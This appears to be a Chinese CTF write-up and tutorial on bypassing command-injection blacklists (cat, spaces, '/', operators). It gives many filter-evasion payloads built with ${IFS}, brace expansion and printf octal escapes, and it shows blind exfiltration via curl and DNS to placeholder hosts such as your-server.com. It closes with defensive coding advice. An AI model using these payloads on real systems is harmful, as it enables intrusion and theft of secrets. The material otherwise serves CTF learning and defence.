CTF命令注入绕过实战:从cat过滤到无空格路径构造

📅 2026/8/14 2:36:20
CTF命令注入绕过实战:从cat过滤到无空格路径构造
1. 从一道CTF题看命令注入的“花式”绕过最近在带新人过CTfhub的技能树又碰到了经典的命令注入关卡。这道题很有意思它不像一些简单的注入点让你直接cat /flag就完事了而是层层设卡把cat、空格、目录分隔符/、甚至一些常见的运算符都给过滤了。很多刚接触安全的小伙伴在这里卡住要么是思路僵化只知道用cat要么就是对Linux系统命令和Bash shell的特性了解不够深入。其实这道题是一个绝佳的命令注入“绕过艺术”实战案例它逼迫你跳出常规思维去理解命令执行的本质和系统环境的灵活性。今天我就结合这道题把命令注入中遇到的各种过滤场景和绕过手法掰开揉碎了讲清楚让你不仅知道怎么做更明白为什么可以这么做。命令注入的本质是攻击者能够将可控的输入插入到后端系统执行命令的上下文中从而执行任意系统命令。防御方通常会采用黑名单过滤的方式将一些危险的字符或命令如;、、|、cat、ls等从输入中剔除或转义。而我们的目标就是利用黑名单过滤不完整、对命令解析机制理解不深等缺陷构造出能够“骗过”过滤规则但最终仍能被系统正确执行的Payload。这道CTF题就是一个典型的“综合过滤”场景我们需要像玩拼图一样把被过滤掉的“零件”用其他方式拼凑出来。2. 核心过滤点分析与绕过思路总览在深入每个过滤点之前我们得先看看题目到底过滤了什么。根据标题和常见出题套路我们可以推断出以下几个关键的过滤项命令cat被过滤这是最直接的阻止你读取文件内容。空格被过滤空格是命令和参数之间最常用的分隔符过滤空格会打断命令的连贯性。目录分隔符/被过滤这让你无法直接使用绝对路径如/etc/passwd或相对路径../来指定文件。某些运算符被过滤比如管道|、重定向、、命令连接符;、、||等可能被部分或全部过滤。综合过滤以上多种过滤手段叠加使用增加绕过难度。我们的绕过策略核心在于“替代”和“重组”。命令替代不用cat有没有其他命令或方法能读取文件分隔符替代不用空格有没有其他字符能在Bash中起到分隔命令和参数的作用路径表示替代不用/有没有其他方式能表示出文件路径运算符替代/重组逻辑不用常见的连接符如何将多个操作组合起来下面我们就针对每一个过滤点拆解具体的绕过手法和原理。2.1 绕过cat过滤不止一种方式读文件cat命令被过滤是最常见的场景。很多新手的第一反应是懵的觉得不cat就没法看文件了。其实在Linux中能读取文件内容的命令和方式非常多。2.1.1 使用其他文件读取命令more/less: 分页查看工具完全可以用来读取文件。more /flag。head/tail: 查看文件开头或结尾。如果flag内容不长head -c 100 /flag就能看到。nl/od/xxd: 分别用于带行号显示、八进制/十六进制转储、十六进制查看。nl /flag。sort/uniq: 虽然主要功能是排序和去重但它们也会读取文件内容并输出。sort /flag。awk/sed: 强大的文本处理工具。awk {print} /flag或sed -n p /flag。curl/wget: 如果服务器支持甚至可以尝试用它们把文件内容发送到外部服务器。curl -X POST -d /flag http://your-server.com。strings: 打印文件中的可打印字符对于文本文件很有效。strings /flag。注意在实际CTF或渗透测试中目标系统可能是一个精简环境并非所有命令都可用。常用的思路是先ls如果没被过滤查看目录或者用which cat如果which可用看看有什么命令更通用的是尝试echo /bin/* /usr/bin/*来列出常见二进制目录下的命令。2.1.2 利用Shell特性直接读取这是更高级的绕过不依赖额外的命令。利用重定向/flag。这个符号的意思是“将/flag文件的内容作为标准输入”。单纯执行/flag不会输出需要配合其他命令比如cat /flag但如果cat被过滤可以尝试tr -d \n /flagtr命令也可能可用或者更骚的操作结合后面讲的无空格技巧。利用$()或反引号命令替换echo $(/flag)。$(file)是一个特殊的Bash语法糖它等同于$(cat file)但效率更高且不依赖cat命令。这是绕过cat过滤的利器。利用read内置命令while read line; do echo $line; done /flag。使用Shell内置的read命令逐行读取。对于这道题如果只是过滤了cat那么最简单的Payload可能就是more /flag或head /flag。但题目往往是组合拳所以我们继续看其他过滤。2.2 绕过空格过滤让参数“粘”在一起空格被过滤后像cat /flag这样的命令就无法被正确解析cat和/flag会粘在一起被当作一个整体导致命令找不到。我们需要找到能替代空格功能的字符。2.2.1 使用Bash的内部字段分隔符IFS这是最经典的方法。在Bash中空格、制表符、换行符都是默认的字段分隔符。我们可以利用这些字符的替代形式。${IFS}IFS是一个环境变量默认值就是空格、制表符、换行。cat${IFS}/flag。在命令执行上下文中${IFS}会被替换成分隔符从而将前后两部分分开。$IFS简写形式效果相同。cat$IFS/flag。直接使用制表符或换行符在Burp Suite或Python脚本中构造Payload时可以直接插入URL编码的制表符%09或换行符%0a。制表符cat%09/flag换行符cat%0a/flag注意换行符在某些上下文中会直接执行前一条命令不一定作为参数分隔需看具体解析逻辑。2.2.2 使用大括号{}扩展在Bash中{cat,/flag}会被扩展为cat /flag。注意大括号内不能有空格。Payload{cat,/flag}。2.2.3 使用重定向符号或重定向符号本身可以连接命令和文件且不需要空格虽然通常我们习惯加空格。cat/flag是合法的Bash命令。2.2.4 使用变量替换先定义一个变量存储参数然后调用。a/flag;cat$a。注意这里的分号;也可能被过滤可以用其他方式连接命令后面会讲。2.2.5 非常规字符在某些上下文中一些特殊字符也可能被解析成分隔符但这依赖于具体的命令解析器如sh、bash、php的system等不是百分百通用但可以尝试%20: 空格的URL编码。: 在某些Web上下文如PHP的$_GET中会被解析为空格。对于本题使用${IFS}或$IFS是最稳妥通用的选择。例如读取文件可以变成more${IFS}/flag。2.3 绕过目录分隔符/过滤构造路径的奇技淫巧过滤了/意味着你不能直接写/flag、/etc/passwd这样的路径。这需要我们对Linux的路径表示有更深的理解。2.3.1 利用环境变量PWD或CDPATH$PWD代表当前工作目录的绝对路径。如果flag文件就在当前目录常见于CTF你可以用cat flag相对路径但如果必须用绝对路径可以尝试拼接cat ${PWD}/flag。但这里出现了/如果过滤是字符串匹配${PWD}/flag中的/依然会被匹配到。我们需要更巧妙的方法。2.3.2 利用命令替换生成/思路是找到一个能输出/字符的命令然后用$()替换进来。echo一个包含/的字符串这不行因为我们的输入里不能有/。从已有的环境变量或文件中提取如果系统里有某个已知文件包含/字符如/etc/passwd可以用cut、awk等命令提取。但这本身又需要路径陷入死循环。更实用的方法利用printf或awk构造任意字符。printf可以输出八进制或十六进制表示的字符。斜杠/的ASCII码是0x2f十六进制或057八进制。使用八进制printf \057或$(printf \057)会输出一个/。因此我们可以构造路径cat $(printf \057)flag。意思是先执行printf \057输出/然后将结果替换到命令中形成cat /flag。为了绕过空格过滤可以结合IFScat$(printf \057)flag。但这样cat和/又连起来了不对应该是cat$(printf \057)flag执行过程是先执行printf \057得到/然后整个$(...)被替换为/命令变成cat/flag还是不行。我们需要分隔符。正确姿势cat${IFS}$(printf \057)flag。这样最终被执行的命令是cat /flag。2.3.3 使用其他表示根目录的方式极少用在Linux中根目录就是/。没有其他等价符号。但在某些特定上下文比如cd命令中//也是根目录但//里依然包含/。2.3.4 终极思路改变工作目录如果/被过滤但我们可以执行多条命令那么可以尝试先切换到根目录的父目录不根目录没有父目录。或者如果知道flag的绝对路径但写不出来可以尝试用cd命令逐级进入吗cd也需要/。这条路在/被完全过滤时很难走通。因此最可靠、最通用的绕过/过滤的方法就是使用命令替换动态生成/字符即上面提到的$(printf \057)。这对于过滤字符串的黑名单来说是致命的因为过滤规则检查的是输入文本中的/而$(printf \057)这段文本里并没有/它是在命令执行阶段才动态产生的。2.4 绕过运算符过滤与命令组合题目还可能过滤;、、|、、||、、等。这些符号用于连接命令、管道传输、重定向输入输出。过滤它们是为了防止你执行多条命令或进行复杂的操作。2.4.1 命令连接符替代%0a换行符在Shell中换行符和分号;一样可以分隔命令。如果输入点是在一个脚本或system()调用中换行符通常有效。Payloadcat /flag%0als。%0d回车符有时也有效但不如换行符通用。利用反引号或$()进行命令替换嵌入不需要显式的连接符。例如要执行ls; cat flag可以写成cat $(ls) flag吗这不对。可以写成ls;cat flag如果;被过滤可以尝试ls%0acat flag。或者更隐蔽地将第二条命令作为第一条命令的参数如果第一条命令能执行参数的话但这通常不行。使用eval命令如果eval可用可以将多条命令作为字符串传给eval。eval ls;cat flag。但eval本身可能被过滤。2.4.2 管道和重定向的替代管道|用于将一个命令的输出作为另一个命令的输入。如果被过滤有时可以用$()命令替换来模拟。例如ls | grep flag可以写成grep flag $(ls)但$(ls)会展开为文件名列表作为grep的参数效果类似但不完全相同特别是文件很多时。重定向、用于输入重定向前面提到过可以绕过空格。如果被过滤读取文件可以用cat /flag但cat可能被过滤或more /flag等。输出重定向如果被过滤想写文件就比较困难但CTF中读取flag通常不需要写文件。2.4.3 逻辑运算符替代前一条成功才执行后一条和||前一条失败才执行后一条的替代比较有限通常用换行符%0a代替但逻辑含义不同换行是无条件执行下一条。在只需要顺序执行的情况下换行符足够了。2.5 综合过滤实战拼接Payload现在我们把所有绕过技巧组合起来应对这道“综合过滤练习”。假设题目过滤了cat、空格、/、;、、|。我们的目标是读取/flag文件。第一步确定读取命令。不用cat我们用more。more可能没被过滤。第二步处理路径/。使用命令替换生成$(printf \057)。第三步处理空格。使用${IFS}。第四步组合。我们需要执行的命令是more /flag。将/替换more $(printf \057)flag此时more和$(printf ...)之间需要空格。插入${IFS}more${IFS}$(printf \057)flag第五步检查连接符。我们目前只执行一条命令不需要;或。所以这个Payload是完整的。最终Payload可能为more${IFS}$(printf \057)flag但是这里有个细节$(printf \057)执行后输出的是/它和后面的flag字符串会自然地拼接成/flag吗在Bash中$(command)替换的结果如果紧接着其他字符中间不会有空格。所以$(printf \057)flag的结果就是/flag。完美。我们还可以用{more,$(printf \057)flag}利用大括号扩展但大括号内不能有${IFS}所以这个Payload本身不包含空格但扩展后会变成more /flag这里面的空格是Bash扩展后自动加上的绕过了输入时空格的过滤。所以另一个Payload是{more,$(printf \057)flag}3. 实战演练与深度技巧延伸掌握了基本绕过手法我们还需要考虑实战中的一些复杂情况和深度技巧。3.1 黑名单的匹配方式与大小写、编码绕过上面的绕过假设过滤是简单的字符串匹配。但过滤逻辑可能更复杂或更简单。大小写绕过如果过滤是cat尝试Cat、CAT、cAt。在Linux中命令是大小写敏感的但CAT不是有效命令。然而cAt呢系统里没有cAt这个命令。所以大小写绕过对系统命令本身无效除非你调用的命令解释器对大小写不敏感很少见。但对于参数或路径有时可以尝试。双写绕过如果过滤是简单的替换为空比如把cat替换成那么ccatcat经过替换后可能变成cat。但现代WAF很少有这么简单的了。编码/混淆绕过Hex编码echo 636174 | xxd -r -p会输出cat。可以构造$(echo 636174 | xxd -r -p)来代表cat命令。但这里用到了echo、xxd、管道|它们本身可能被过滤。Base64编码echo Y2F0 | base64 -d输出cat。同样依赖其他命令。八进制/十六进制表示法在Bash的echo或printf中可以直接使用。printf \143\141\164输出catc,a,t的八进制ASCII码。这是非常强大的绕过方式因为最终Payload里可能完全不出现cat这个单词。例如执行cat /flag可以写成$(printf \143\141\164)$(printf \057)flag但需要处理空格。结合IFS$(printf \143\141\164)${IFS}$(printf \057)flag。这个Payload里只有括号、数字、美元符号、字母IFS等完全避开了cat、/、空格这些黑名单词汇。3.2 无回显命令注入的判断与利用有些命令注入点没有直接输出盲注。我们需要判断命令是否执行以及获取执行结果。时间延迟Sleepping -c 10 127.0.0.1或sleep 5。如果页面响应时间明显变长说明命令执行了。DNS外带DNS Exfiltration这是非常有效的方法。利用ping、curl、nslookup等命令将命令执行结果作为域名的一部分发起DNS查询在自己的DNS服务器上查看日志即可获取结果。例如curl $(whoami).your-domain.com。如果当前用户是root则会请求root.your-domain.com。HTTP请求外带使用curl或wget将结果发送到自己的服务器。curl http://your-server.com/$(cat /flag | base64)。这里需要将结果进行编码如base64避免特殊字符破坏URL。3.3 受限环境下的突破思路有时我们甚至无法执行任意命令只能执行某个特定命令的参数。或者遇到了更严格的过滤比如只允许字母数字。通配符*和?的利用如果/被过滤但你知道flag文件名可以用通配符。比如flag在当前目录文件名为flag.txt你可以cat flag.*或cat fl?g.txt。如果不知道文件名cat *可以打印当前目录所有文件内容。利用已有命令的功能如果只能给find、grep、awk、perl等命令传参可以研究这些命令本身是否能执行代码。例如find / -exec cat {} \;但需要cat和;或者更经典的find / -exec sh -i \;来获取一个shell。字符集极度受限的情况如果只允许数字、括号、美元符号、下划线等极少数字符可以研究Bash的变量操作和递归展开。这属于更高阶的技巧例如利用${_}、${!*}等特殊变量构造出字符串。4. 防御视角与安全编程建议作为开发者如何避免命令注入漏洞黑名单过滤是下策因为总有漏网之鱼。上策是根本不给用户输入介入命令解析的机会。使用安全的API代替命令执行这是最根本的解决方法。如果需要调用系统功能尽量使用语言提供的库函数而不是拼接字符串去调用system()、exec()、popen()等。比如在Python中用shutil.copy()代替os.system(cp ...)。如果必须执行命令使用白名单对于命令和参数使用预定义的白名单进行校验只允许特定的、安全的选项。严格参数化最有效的方法将命令和参数分离。不要拼接字符串。使用数组或列表来传递命令和参数。例如在Python中# 错误示例 cmd ls -l user_input os.system(cmd) # 正确示例 import subprocess subprocess.run([ls, -l, user_input]) # user_input只作为一个参数不会被解析为命令在subprocess.run中即使user_input是/etc/passwd; rm -rf /它也只会被当作ls -l的一个参数即ls -l会尝试列出一个名为/etc/passwd; rm -rf /的奇怪文件而不会执行rm。对输入进行适当的转义如果上述方法都不可行极少数情况必须对用户输入中所有非字母数字的字符进行转义。但转义规则非常复杂且因Shell而异极易出错不推荐。最小权限原则运行Web服务或应用程序的进程应该使用权限最低的用户账户如www-data、nobody避免使用root。这样即使发生命令注入危害也有限。部署WAFWeb应用防火墙作为最后一道防线可以部署WAF来检测和阻断常见的注入攻击模式。回过头看CTFhub的这道题它正是通过模拟一个存在命令注入漏洞且采用了蹩脚黑名单过滤的Web应用让我们亲身体验了攻击者的绕过思路。这种练习的价值不在于教会你攻击而在于让你深刻理解“为什么黑名单防不住”从而在开发中建立起更牢固的安全意识——不要信任任何用户输入尽可能使用参数化查询或安全API。当你下次写代码需要调用系统命令时你一定会想起今天这些千奇百怪的绕过方式然后默默地选择更安全的subprocess.run。